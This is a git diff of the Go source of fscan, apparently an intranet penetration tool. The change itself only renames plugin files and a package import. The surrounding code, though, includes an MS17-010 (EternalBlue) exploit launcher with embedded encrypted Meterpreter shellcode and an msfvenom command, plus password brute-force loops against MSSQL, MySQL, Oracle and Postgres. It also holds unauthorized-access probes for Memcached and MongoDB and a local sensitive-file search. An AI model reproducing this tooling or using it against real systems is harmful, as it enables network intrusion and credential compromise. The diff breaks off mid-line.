conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second) + conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second) if err == nil { err = conn.Login(Username, Password) if err == nil { @@ -73,7 +73,7 @@ func FtpConn(info *Config.HostInfo, user string, pass string) (flag bool, err er } } } - common.LogSuccess(result) + Common.LogSuccess(result) } } return flag, err diff --git a/Plugins/findnet.go b/Plugins/FindNet.go similarity index 91% rename from Plugins/findnet.go rename to Plugins/FindNet.go index 2a8355c..13da7b3 100644 --- a/Plugins/findnet.go +++ b/Plugins/FindNet.go @@ -4,8 +4,8 @@ import ( "bytes" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strconv" "strings" "time" @@ -24,12 +24,12 @@ func Findnet(info *Config.HostInfo) error { func FindnetScan(info *Config.HostInfo) error { realhost := fmt.Sprintf("%s:%v", info.Host, 135) - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { return err } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { return err } @@ -119,6 +119,6 @@ func read(text []byte, host string) error { } result += "\n [->]" + string(host) } - common.LogSuccess(result) + Common.LogSuccess(result) return nil } diff --git a/Plugins/icmp.go b/Plugins/ICMP.go similarity index 95% rename from Plugins/icmp.go rename to Plugins/ICMP.go index 36acc14..240228b 100644 --- a/Plugins/icmp.go +++ b/Plugins/ICMP.go @@ -3,7 +3,7 @@ package Plugins import ( "bytes" "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "golang.org/x/net/icmp" "net" "os/exec" @@ -25,7 +25,7 @@ func CheckLive(hostslist []string, Ping bool) []string { for ip := range chanHosts { if _, ok := ExistHosts[ip]; !ok && IsContain(hostslist, ip) { ExistHosts[ip] = struct{}{} - if common.Silent == false { + if Common.Silent == false { if Ping == false { fmt.Printf("(icmp) Target %-15s is alive\n", ip) } else { @@ -47,7 +47,7 @@ func CheckLive(hostslist []string, Ping bool) []string { if err == nil { RunIcmp1(hostslist, conn, chanHosts) } else { - common.LogError(err) + Common.LogError(err) //尝试无监听icmp探测 fmt.Println("trying RunIcmp2") conn, err := net.DialTimeout("ip4:icmp", "127.0.0.1", 3*time.Second) @@ -59,7 +59,7 @@ func CheckLive(hostslist []string, Ping bool) []string { if err == nil { RunIcmp2(hostslist, chanHosts) } else { - common.LogError(err) + Common.LogError(err) //使用ping探测 fmt.Println("The current user permissions unable to send icmp packets") fmt.Println("start ping") @@ -72,17 +72,17 @@ func CheckLive(hostslist []string, Ping bool) []string { close(chanHosts) if len(hostslist) > 1000 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, true) + arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, true) for i := 0; i < len(arrTop); i++ { output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0.0/16", arrLen[i]) - common.LogSuccess(output) + Common.LogSuccess(output) } } if len(hostslist) > 256 { - arrTop, arrLen := ArrayCountValueTop(AliveHosts, common.LiveTop, false) + arrTop, arrLen := ArrayCountValueTop(AliveHosts, Common.LiveTop, false) for i := 0; i < len(arrTop); i++ { output := fmt.Sprintf("[*] LiveTop %-16s 段存活数量为: %d", arrTop[i]+".0/24", arrLen[i]) - common.LogSuccess(output) + Common.LogSuccess(output) } } diff --git a/Plugins/localinfo.go b/Plugins/LocalInfo.go similarity index 97% rename from Plugins/localinfo.go rename to Plugins/LocalInfo.go index 72835f7..eafb305 100644 --- a/Plugins/localinfo.go +++ b/Plugins/LocalInfo.go @@ -2,8 +2,8 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "os" "path/filepath" "runtime" @@ -93,7 +93,7 @@ func LocalInfoScan(info *Config.HostInfo) (err error) { home, err := os.UserHomeDir() if err != nil { errlog := fmt.Sprintf("[-] Get UserHomeDir error: %v", err) - common.LogError(errlog) + Common.LogError(errlog) return err } @@ -148,7 +148,7 @@ func scanFixedLocations(home string) { func checkAndLogFile(path string) { if _, err := os.Stat(path); err == nil { result := fmt.Sprintf("[+] Found sensitive file: %s", path) - common.LogSuccess(result) + Common.LogSuccess(result) } } @@ -202,7 +202,7 @@ func searchSensitiveFiles() { fileName := strings.ToLower(info.Name()) if strings.Contains(fileName, white) { result := fmt.Sprintf("[+] Found potential sensitive file: %s", path) - common.LogSuccess(result) + Common.LogSuccess(result) break } } diff --git a/Plugins/ms17010-exp.go b/Plugins/MS17010-Exp.go similarity index 98% rename from Plugins/ms17010-exp.go rename to Plugins/MS17010-Exp.go index dbcdd7b..8b78405 100644 --- a/Plugins/ms17010-exp.go +++ b/Plugins/MS17010-Exp.go @@ -5,8 +5,8 @@ import ( "encoding/binary" "encoding/hex" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "io" "io/ioutil" "net" @@ -17,7 +17,7 @@ import ( func MS17010EXP(info *Config.HostInfo) { address := info.Host + ":445" var sc string - switch common.SC { + switch Common.SC { case "bind": //msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=64531 -f hex sc_enc := "gUYe7vm5/MQzTkSyKvpMFImS/YtwI+HxNUDd7MeUKDIxBZ8nsaUtdMEXIZmlZUfoQacylFEZpu7iWBRpQZw0KElIFkZR9rl4fpjyYNhEbf9JdquRrvw4hYMypBbfDQ6MN8csp1QF5rkMEs6HvtlKlGSaff34Msw6RlvEodROjGYA+mHUYvUTtfccymIqiU7hCFn+oaIk4ZtCS0Mzb1S5K5+U6vy3e5BEejJVA6u6I+EUb4AOSVVF8GpCNA91jWD1AuKcxg0qsMa+ohCWkWsOxh1zH0kwBPcWHAdHIs31g26NkF14Wl+DHStsW4DuNaxRbvP6awn+wD5aY/1QWlfwUeH/I+rkEPF18sTZa6Hr4mrDPT7eqh4UrcTicL/x4EgovNXA9X+mV6u1/4Zb5wy9rOVwJ+agXxfIqwL5r7R68BEPA/fLpx4LgvTwhvytO3w6I+7sZS7HekuKayBLNZ0T4XXeM8GpWA3h7zkHWjTm41/5JqWblQ45Msrg+XqD6WGvGDMnVZ7jE3xWIRBR7MrPAQ0Kl+Nd93/b+BEMwvuinXp1viSxEoZHIgJZDYR5DykQLpexasSpd8/WcuoQQtuTTYsJpHFfvqiwn0djgvQf3yk3Ro1EzjbR7a8UzwyaCqtKkCu9qGb+0m8JSpYS8DsjbkVST5Y7ZHtegXlX1d/FxgweavKGz3UiHjmbQ+FKkFF82Lkkg+9sO3LMxp2APvYz2rv8RM0ujcPmkN2wXE03sqcTfDdjCWjJ/evdrKBRzwPFhjOjUX1SBVsAcXzcvpJbAf3lcPPxOXM060OYdemu4Hou3oECjKP2h6W9GyPojMuykTkcoIqgN5Ldx6WpGhhE9wrfijOrrm7of9HmO568AsKRKBPfy/QpCfxTrY+rEwyzFmU1xZ2lkjt+FTnsMJY8YM7sIbWZauZ2S+Ux33RWDf7YUmSGlWC8djqDKammk3GgkSPHjf0Qgknukptxl977s2zw4jdh8bUuW5ap7T+Wd/S0ka90CVF4AyhonvAQoi0G1qj5gTih1FPTjBpf+FrmNJvNIAcx2oBoU4y48c8Sf4ABtpdyYewUh4NdxUoL7RSVouU1MZTnYS9BqOJWLMnvV7pwRmHgUz3fe7Kx5PGnP/0zQjW/P/vgmLMh/iBisJIGF3JDGoULsC3dabGE5L7sXuCNePiOEJmgwOHlFBlwqddNaE+ufor0q4AkQBI9XeqznUfdJg2M2LkUZOYrbCjQaE7Ytsr3WJSXkNbOORzqKo5wIf81z1TCow8QuwlfwIanWs+e8oTavmObV3gLPoaWqAIUzJqwD9O4P6x1176D0Xj83n6G4GrJgHpgMuB0qdlK" @@ -34,16 +34,16 @@ func MS17010EXP(info *Config.HostInfo) { sc_enc := "Teobs46+kgUn45BOBbruUdpBFXs8uKXWtvYoNbWtKpNCtOasHB/5Er+C2ZlALluOBkUC6BQVZHO1rKzuygxJ3n2PkeutispxSzGcvFS3QJ1EU517e2qOL7W2sRDlNb6rm+ECA2vQZkTZBAboolhGfZYeM6v5fEB2L1Ej6pWF5CKSYxjztdPF8bNGAkZsQhUAVW7WVKysZ1vbghszGyeKFQBvO9Hiinq/XiUrLBqvwXLsJaybZA44wUFvXC0FA9CZDOSD3MCX2arK6Mhk0Q+6dAR+NWPCQ34cYVePT98GyXnYapTOKokV6+hsqHMjfetjkvjEFohNrD/5HY+E73ihs9TqS1ZfpBvZvnWSOjLUA+Z3ex0j0CIUONCjHWpoWiXAsQI/ryJh7Ho5MmmGIiRWyV3l8Q0+1vFt3q/zQGjSI7Z7YgDdIBG8qcmfATJz6dx7eBS4Ntl+4CCqN8Dh4pKM3rV+hFqQyKnBHI5uJCn6qYky7p305KK2Z9Ga5nAqNgaz0gr2GS7nA5D/Cd8pvUH6sd2UmN+n4HnK6/O5hzTmXG/Pcpq7MTEy9G8uXRfPUQdrbYFP7Ll1SWy35B4n/eCf8swaTwi1mJEAbPr0IeYgf8UiOBKS/bXkFsnUKrE7wwG8xXaI7bHFgpdTWfdFRWc8jaJTvwK2HUK5u+4rWWtf0onGxTUyTilxgRFvb4AjVYH0xkr8mIq8smpsBN3ff0TcWYfnI2L/X1wJoCH+oLi67xMN+yPDirT+LXfLOaGlyTqG6Yojge8Mti/BqIg5RpG4wIZPKxX9rPbMP+Tzw8rpi/9b33eq0YDevzqaj5Uo0HudOmaPwv5cd9/dqWgeC7FJwv73TckogZGbDOASSoLK26AgBat8vCrhrd7T0uBrEk+1x/NXvl5r2aEeWCWBsULKxFh2WDCqyQntSaAUkPe3JKJe0HU6inDeS4d52BagSqmd1meY0Rb/97fMCXaAMLekq+YrwcSrmPKBY9Yk0m1kAzY+oP4nvV/OhCHNXAsUQGH85G7k65I1QnzffroaKxloP26XJPW0JEq9vCSQFI/EX56qt323V/solearWdBVptG0+k55TBd0dxmBsqRMGO3Z23OcmQR4d8zycQUqqavMmo32fy4rjY6Ln5QUR0JrgJ67dqDhnJn5TcT4YFHgF4gY8oynT3sqv0a+hdVeF6XzsElUUsDGfxOLfkn3RW/2oNnqAHC2uXwX2ZZNrSbPymB2zxB/ET3SLlw3skBF1A82ZBYqkMIuzs6wr9S9ox9minLpGCBeTR9j6OYk6mmKZnThpvarRec8a7YBuT2miU7fO8iXjhS95A84Ub++uS4nC1Pv1v9nfj0/T8scD2BUYoVKCJX3KiVnxUYKVvDcbvv8UwrM6+W/hmNOePHJNx9nX1brHr90m9e40as1BZm2meUmCECxQd+Hdqs7HgPsPLcUB8AL8wCHQjziU6R4XKuX6ivx" sc = AesDecrypt(sc_enc, key) default: - if strings.Contains(common.SC, "file:") { - read, err := ioutil.ReadFile(common.SC[5:]) + if strings.Contains(Common.SC, "file:") { + read, err := ioutil.ReadFile(Common.SC[5:]) if err != nil { - errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", common.SC, err) - common.LogError(errlog) + errlog := fmt.Sprintf("[-] ms17010 sc readfile %v error: %v", Common.SC, err) + Common.LogError(errlog) return } sc = fmt.Sprintf("%x", read) } else { - sc = common.SC + sc = Common.SC } } @@ -54,15 +54,15 @@ func MS17010EXP(info *Config.HostInfo) { sc1, err := hex.DecodeString(sc) if err != nil { - common.LogError("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error()) + Common.LogError("[-] " + info.Host + " MS17-010 shellcode decode error " + err.Error()) return } err = eternalBlue(address, 12, 12, sc1) if err != nil { - common.LogError("[-] " + info.Host + " MS17-010 exp failed " + err.Error()) + Common.LogError("[-] " + info.Host + " MS17-010 exp failed " + err.Error()) return } - common.LogSuccess("[*] " + info.Host + "\tMS17-010\texploit end") + Common.LogSuccess("[*] " + info.Host + "\tMS17-010\texploit end") } func eternalBlue(address string, initialGrooms, maxAttempts int, sc []byte) error { diff --git a/Plugins/ms17010.go b/Plugins/MS17010.go similarity index 94% rename from Plugins/ms17010.go rename to Plugins/MS17010.go index 0f30ead..500b6e1 100644 --- a/Plugins/ms17010.go +++ b/Plugins/MS17010.go @@ -5,8 +5,8 @@ import ( "encoding/hex" "errors" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strings" "time" ) @@ -25,13 +25,13 @@ var ( ) func MS17010(info *Config.HostInfo) error { - if common.IsBrute { + if Common.IsBrute { return nil } err := MS17010Scan(info) if err != nil { errlog := fmt.Sprintf("[-] Ms17010 %v %v", info.Host, err) - common.LogError(errlog) + Common.LogError(errlog) } return err } @@ -39,13 +39,13 @@ func MS17010(info *Config.HostInfo) error { func MS17010Scan(info *Config.HostInfo) error { ip := info.Host // connecting to a host in LAN if reachable should be very quick - conn, err := common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(common.Timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", ip+":445", time.Duration(Common.Timeout)*time.Second) if err != nil { //fmt.Printf("failed to connect to %s\n", ip) return err } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { //fmt.Printf("failed to connect to %s\n", ip) return err @@ -132,9 +132,9 @@ func MS17010Scan(info *Config.HostInfo) error { //if runtime.GOOS=="windows" {fmt.Printf("%s\tMS17-010\t(%s)\n", ip, os) //} else{fmt.Printf("\033[33m%s\tMS17-010\t(%s)\033[0m\n", ip, os)} result := fmt.Sprintf("[+] MS17-010 %s\t(%s)", ip, os) - common.LogSuccess(result) + Common.LogSuccess(result) defer func() { - if common.SC != "" { + if Common.SC != "" { MS17010EXP(info) } }() @@ -154,12 +154,12 @@ func MS17010Scan(info *Config.HostInfo) error { if reply[34] == 0x51 { result := fmt.Sprintf("[+] MS17-010 %s has DOUBLEPULSAR SMB IMPLANT", ip) - common.LogSuccess(result) + Common.LogSuccess(result) } } else { result := fmt.Sprintf("[*] OsInfo %s\t(%s)", ip, os) - common.LogSuccess(result) + Common.LogSuccess(result) } return err diff --git a/Plugins/mssql.go b/Plugins/MSSQL.go similarity index 68% rename from Plugins/mssql.go rename to Plugins/MSSQL.go index 2048709..f12e87a 100644 --- a/Plugins/mssql.go +++ b/Plugins/MSSQL.go @@ -4,31 +4,31 @@ import ( "database/sql" "fmt" _ "github.com/denisenkom/go-mssqldb" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strings" "time" ) func MssqlScan(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return } starttime := time.Now().Unix() - for _, user := range common.Userdict["mssql"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["mssql"] { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := MssqlConn(info, user, pass) if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] mssql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["mssql"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mssql"])*len(Common.Passwords)) * Common.Timeout) { return err } } @@ -40,17 +40,17 @@ func MssqlScan(info *Config.HostInfo) (tmperr error) { func MssqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(common.Timeout)*time.Second) + dataSourceName := fmt.Sprintf("server=%s;user id=%s;password=%s;port=%v;encrypt=disable;timeout=%v", Host, Username, Password, Port, time.Duration(Common.Timeout)*time.Second) db, err := sql.Open("mssql", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() if err == nil { result := fmt.Sprintf("[+] mssql %v:%v:%v %v", Host, Port, Username, Password) - common.LogSuccess(result) + Common.LogSuccess(result) flag = true } } diff --git a/Plugins/memcached.go b/Plugins/Memcached.go similarity index 75% rename from Plugins/memcached.go rename to Plugins/Memcached.go index 0ad4e7d..cade9ba 100644 --- a/Plugins/memcached.go +++ b/Plugins/Memcached.go @@ -2,22 +2,22 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strings" "time" ) func MemcachedScan(info *Config.HostInfo) (err error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) - client, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + client, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) defer func() { if client != nil { client.Close() } }() if err == nil { - err = client.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = client.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err == nil { _, err = client.Write([]byte("stats\n")) //Set the key randomly to prevent the key on the server from being overwritten if err == nil { @@ -26,11 +26,11 @@ func MemcachedScan(info *Config.HostInfo) (err error) { if err == nil { if strings.Contains(string(rev[:n]), "STAT") { result := fmt.Sprintf("[+] Memcached %s unauthorized", realhost) - common.LogSuccess(result) + Common.LogSuccess(result) } } else { errlog := fmt.Sprintf("[-] Memcached %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) + Common.LogError(errlog) } } } diff --git a/Plugins/mongodb.go b/Plugins/Mongodb.go similarity index 90% rename from Plugins/mongodb.go rename to Plugins/Mongodb.go index 36805c2..82a6af2 100644 --- a/Plugins/mongodb.go +++ b/Plugins/Mongodb.go @@ -2,20 +2,20 @@ package Plugins import ( "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strings" "time" ) func MongodbScan(info *Config.HostInfo) error { - if common.IsBrute { + if Common.IsBrute { return nil } _, err := MongodbUnauth(info) if err != nil { errlog := fmt.Sprintf("[-] Mongodb %v:%v %v", info.Host, info.Ports, err) - common.LogError(errlog) + Common.LogError(errlog) } return err } @@ -49,12 +49,12 @@ func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) checkUnAuth := func(address string, packet []byte) (string, error) { - conn, err := common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { return "", err } defer conn.Close() - err = conn.SetReadDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetReadDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { return "", err } @@ -81,7 +81,7 @@ func MongodbUnauth(info *Config.HostInfo) (flag bool, err error) { if strings.Contains(reply, "totalLinesWritten") { flag = true result := fmt.Sprintf("[+] Mongodb %v unauthorized", realhost) - common.LogSuccess(result) + Common.LogSuccess(result) } return flag, err } diff --git a/Plugins/mysql.go b/Plugins/MySQL.go similarity index 67% rename from Plugins/mysql.go rename to Plugins/MySQL.go index 23e578f..8a193d4 100644 --- a/Plugins/mysql.go +++ b/Plugins/MySQL.go @@ -4,31 +4,31 @@ import ( "database/sql" "fmt" _ "github.com/go-sql-driver/mysql" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strings" "time" ) func MysqlScan(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return } starttime := time.Now().Unix() - for _, user := range common.Userdict["mysql"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["mysql"] { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := MysqlConn(info, user, pass) if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] mysql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["mysql"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["mysql"])*len(Common.Passwords)) * Common.Timeout) { return err } } @@ -40,17 +40,17 @@ func MysqlScan(info *Config.HostInfo) (tmperr error) { func MysqlConn(info *Config.HostInfo, user string, pass string) (flag bool, err error) { flag = false Host, Port, Username, Password := info.Host, info.Ports, user, pass - dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(common.Timeout)*time.Second) + dataSourceName := fmt.Sprintf("%v:%v@tcp(%v:%v)/mysql?charset=utf8&timeout=%v", Username, Password, Host, Port, time.Duration(Common.Timeout)*time.Second) db, err := sql.Open("mysql", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() if err == nil { result := fmt.Sprintf("[+] mysql %v:%v:%v %v", Host, Port, Username, Password) - common.LogSuccess(result) + Common.LogSuccess(result) flag = true } } diff --git a/Plugins/NetBIOS.go b/Plugins/NetBIOS.go index b025f5c..e2fa349 100644 --- a/Plugins/NetBIOS.go +++ b/Plugins/NetBIOS.go @@ -4,8 +4,8 @@ import ( "bytes" "errors" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "gopkg.in/yaml.v3" "net" "strconv" @@ -20,7 +20,7 @@ func NetBIOS(info *Config.HostInfo) error { output := netbios.String() if len(output) > 0 { result := fmt.Sprintf("[*] NetBios %-15s %s", info.Host, output) - common.LogSuccess(result) + Common.LogSuccess(result) return nil } return errNetBIOS @@ -41,12 +41,12 @@ func NetBIOS1(info *Config.HostInfo) (netbios NetBiosInfo, err error) { } realhost := fmt.Sprintf("%s:%v", info.Host, info.Ports) var conn net.Conn - conn, err = common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err = Common.WrapperTcpWithTimeout("tcp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { return } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { return } @@ -89,12 +89,12 @@ func GetNbnsname(info *Config.HostInfo) (netbios NetBiosInfo, err error) { senddata1 := []byte{102, 102, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 32, 67, 75, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 65, 0, 0, 33, 0, 1} //senddata1 := []byte("ff\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00 CKAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00!\x00\x01") realhost := fmt.Sprintf("%s:137", info.Host) - conn, err := net.DialTimeout("udp", realhost, time.Duration(common.Timeout)*time.Second) + conn, err := net.DialTimeout("udp", realhost, time.Duration(Common.Timeout)*time.Second) if err != nil { return } defer conn.Close() - err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)) + err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)) if err != nil { return } diff --git a/Plugins/oracle.go b/Plugins/Oracle.go similarity index 69% rename from Plugins/oracle.go rename to Plugins/Oracle.go index 37f867c..e956f26 100644 --- a/Plugins/oracle.go +++ b/Plugins/Oracle.go @@ -3,32 +3,32 @@ package Plugins import ( "database/sql" "fmt" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" _ "github.com/sijms/go-ora/v2" "strings" "time" ) func OracleScan(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return } starttime := time.Now().Unix() - for _, user := range common.Userdict["oracle"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["oracle"] { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", user, -1) flag, err := OracleConn(info, user, pass) if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] oracle %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["oracle"])*len(common.Passwords)) * common.Timeout) { + if time.Now().Unix()-starttime > (int64(len(Common.Userdict["oracle"])*len(Common.Passwords)) * Common.Timeout) { return err } } @@ -43,14 +43,14 @@ func OracleConn(info *Config.HostInfo, user string, pass string) (flag bool, err dataSourceName := fmt.Sprintf("oracle://%s:%s@%s:%s/orcl", Username, Password, Host, Port) db, err := sql.Open("oracle", dataSourceName) if err == nil { - db.SetConnMaxLifetime(time.Duration(common.Timeout) * time.Second) - db.SetConnMaxIdleTime(time.Duration(common.Timeout) * time.Second) + db.SetConnMaxLifetime(time.Duration(Common.Timeout) * time.Second) + db.SetConnMaxIdleTime(time.Duration(Common.Timeout) * time.Second) db.SetMaxIdleConns(0) defer db.Close() err = db.Ping() if err == nil { result := fmt.Sprintf("[+] oracle %v:%v:%v %v", Host, Port, Username, Password) - common.LogSuccess(result) + Common.LogSuccess(result) flag = true } } diff --git a/Plugins/portscan.go b/Plugins/PortScan.go similarity index 87% rename from Plugins/portscan.go rename to Plugins/PortScan.go index c3b291e..c91c3a4 100644 --- a/Plugins/portscan.go +++ b/Plugins/PortScan.go @@ -2,7 +2,7 @@ package Plugins import ( "fmt" - "github.com/shadow1ng/fscan/common" + "github.com/shadow1ng/fscan/Common" "sort" "strconv" "sync" @@ -16,12 +16,12 @@ type Addr struct { func PortScan(hostslist []string, ports string, timeout int64) []string { var AliveAddress []string - probePorts := common.ParsePort(ports) + probePorts := Common.ParsePort(ports) if len(probePorts) == 0 { fmt.Printf("[-] parse port %s error, please check your port format\n", ports) return AliveAddress } - noPorts := common.ParsePort(common.NoPorts) + noPorts := Common.ParsePort(Common.NoPorts) if len(noPorts) > 0 { temp := map[int]struct{}{} for _, port := range probePorts { @@ -39,7 +39,7 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { probePorts = newDatas sort.Ints(probePorts) } - workers := common.Threads + workers := Common.Threads Addrs := make(chan Addr, 100) results := make(chan string, 100) var wg sync.WaitGroup @@ -77,20 +77,20 @@ func PortScan(hostslist []string, ports string, timeout int64) []string { func PortConnect(addr Addr, respondingHosts chan<- string, adjustedTimeout int64, wg *sync.WaitGroup) { host, port := addr.ip, addr.port - conn, err := common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second) + conn, err := Common.WrapperTcpWithTimeout("tcp4", fmt.Sprintf("%s:%v", host, port), time.Duration(adjustedTimeout)*time.Second) if err == nil { defer conn.Close() address := host + ":" + strconv.Itoa(port) result := fmt.Sprintf("%s open", address) - common.LogSuccess(result) + Common.LogSuccess(result) wg.Add(1) respondingHosts <- address } } func NoPortScan(hostslist []string, ports string) (AliveAddress []string) { - probePorts := common.ParsePort(ports) - noPorts := common.ParsePort(common.NoPorts) + probePorts := Common.ParsePort(ports) + noPorts := Common.ParsePort(Common.NoPorts) if len(noPorts) > 0 { temp := map[int]struct{}{} for _, port := range probePorts { diff --git a/Plugins/postgres.go b/Plugins/Postgres.go similarity index 72% rename from Plugins/postgres.go rename to Plugins/Postgres.go index 68681d1..c6e51e7 100644 --- a/Plugins/postgres.go +++ b/Plugins/Postgres.go @@ -4,31 +4,31 @@ import ( "database/sql" "fmt" _ "github.com/lib/pq" + "github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/Config" - "github.com/shadow1ng/fscan/common" "strings" "time" ) func PostgresScan(info *Config.HostInfo) (tmperr error) { - if common.IsBrute { + if Common.IsBrute { return } starttime := time.Now().Unix() - for _, user := range common.Userdict["postgresql"] { - for _, pass := range common.Passwords { + for _, user := range Common.Userdict["postgresql"] { + for _, pass := range Common.Passwords { pass = strings.Replace(pass, "{user}", string(user), -1) flag, err := PostgresConn(info, user, pass) if flag == true && err == nil { return err } else { errlog := fmt.Sprintf("[-] psql %v:%v %v %v %v", info.Host, info.Ports, user, pass, err) - common.LogError(errlog) + Common.LogError(errlog) tmperr = err - if common.CheckErrs(err) { + if Common.CheckErrs(err) { return err } - if time.Now().Unix()-starttime > (int64(len(common.Userdict["postgresql"])*len(common.Passwords)) * 